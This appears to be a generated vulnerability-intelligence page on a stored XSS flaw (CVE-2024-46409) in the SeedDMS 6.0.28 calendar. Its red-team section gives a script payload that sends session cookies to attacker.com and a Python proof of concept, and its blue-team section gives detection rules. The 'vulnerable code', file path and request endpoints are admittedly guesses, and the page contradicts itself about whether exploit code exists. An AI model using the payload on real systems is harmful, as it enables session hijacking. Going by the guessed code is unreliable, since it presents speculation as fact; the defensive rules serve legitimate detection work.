CVE-2024-46409
Executive Summary
CVE-2024-46409 is a stored cross-site scripting (XSS) vulnerability identified in SeedDMS version 6.0.28. The flaw resides in the Calendar page, where the Name parameter is insufficiently sanitized, allowing an authenticated attacker to inject arbitrary web scripts or HTML. This can lead to session hijacking, credential theft, or defacement within the application context. The vulnerability has a low CVSS score of 4.8 due to the requirement for user interaction and low privileges, but its impact on data integrity and confidentiality is notable. No public exploit code or patch details are currently available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is considered medium due to the need for user interaction and low privileges. However, in a multi-tenant or high-value document management environment, the risk of data exfiltration or session compromise is elevated.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the SeedDMS Calendar module. When a user creates or edits a calendar event, the Name parameter is stored in the database without proper encoding or sanitization. Upon rendering the event in the calendar view, the injected payload executes in the browser of any user viewing that event. The attack flow is as follows:
- Authentication: Attacker must have a valid user account with permissions to create or edit calendar events.
- Injection: The attacker crafts a payload (e.g.,
<script>alert('XSS')</script>) and submits it via theNamefield. - Storage: The payload is stored in the database.
- Trigger: When an administrator or other user views the calendar, the payload executes, potentially stealing cookies or performing actions on behalf of the victim.
The root cause is the lack of output encoding in the calendar view template. SeedDMS uses PHP and likely renders the Name field directly without using htmlspecialchars() or similar functions.
Vulnerable vs. Patched Code
Vulnerable Code (SeedDMS v6.0.28):
// In calendar view template (e.g., out/class.Calendar.php)
echo "<div class='event-name'>" . $event['name'] . "</div>";
Patched Code (Hypothetical):
// Properly encode output
echo "<div class='event-name'>" . htmlspecialchars($event['name'], ENT_QUOTES, 'UTF-8') . "</div>";
The vulnerable code directly echoes the user-supplied name field without any sanitization. The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- SeedDMS v6.0.28 instance (e.g., Docker container)
- Valid user credentials with calendar write permissions
Exploit Steps:
- Log in to SeedDMS.
- Navigate to the Calendar page.
- Create a new event with the following payload in the
Namefield:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the event.
- When an administrator views the calendar, the script executes, sending their session cookie to the attacker's server.
Proof-of-Concept (PoC):
import requests
target = "http://target-seeddms.com"
session = requests.Session()
# Login
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/index.php?action=login", data=login_data)
# Create malicious calendar event
payload = "<script>alert('XSS')</script>"
event_data = {
"name": payload,
"start": "2024-01-01",
"end": "2024-01-01"
}
session.post(f"{target}/index.php?action=calendar&action=add", data=event_data)
print("Malicious event created. Trigger by viewing calendar.")
Blue Team
Detection:
- Monitor for unusual calendar event names containing
<script>,onerror, orjavascript:. - Use WAF rules to block XSS payloads in POST parameters.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search logs for calendar event creation with suspicious patterns.
- Review database entries in the
eventstable for encoded or obfuscated JavaScript.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/index.php?action=calendar&action=addwithnameparameter containing<script>tags. - Host: Log entries showing calendar event creation with unusual characters (e.g.,
%3Cscript%3E). - Database: Rows in the
eventstable wherenamefield contains HTML/JavaScript. - File: No specific file IOCs; vulnerability is database-driven.
Detection Engineering
YARA Rule
rule detect_seeddms_xss_calendar {
meta:
description = "Detects stored XSS payloads in SeedDMS calendar events"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-46409"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$xss_event = /onerror|onload|onclick|javascript:/si
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: SeedDMS Calendar Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via SeedDMS calendar event creation
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'action=calendar&action=add'
cs-uri-query|contains: 'name='
keywords:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in event names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"SeedDMS Calendar Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"action=calendar&action=add"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
Nameparameter usinghtmlspecialchars()or a similar function before storage. - Output Encoding: Ensure all user-supplied data is HTML-encoded when rendered in views.
- Content Security Policy: Add CSP headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall: Deploy WAF rules to block XSS payloads in POST parameters.
Long-Term Fix:
- Upgrade to a patched version of SeedDMS once available.
- Conduct a code review of all user input handling in the application.
- Implement a security development lifecycle (SDL) to prevent similar issues.
Workaround:
- Disable the Calendar module if not essential.
- Restrict calendar event creation to trusted users only.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.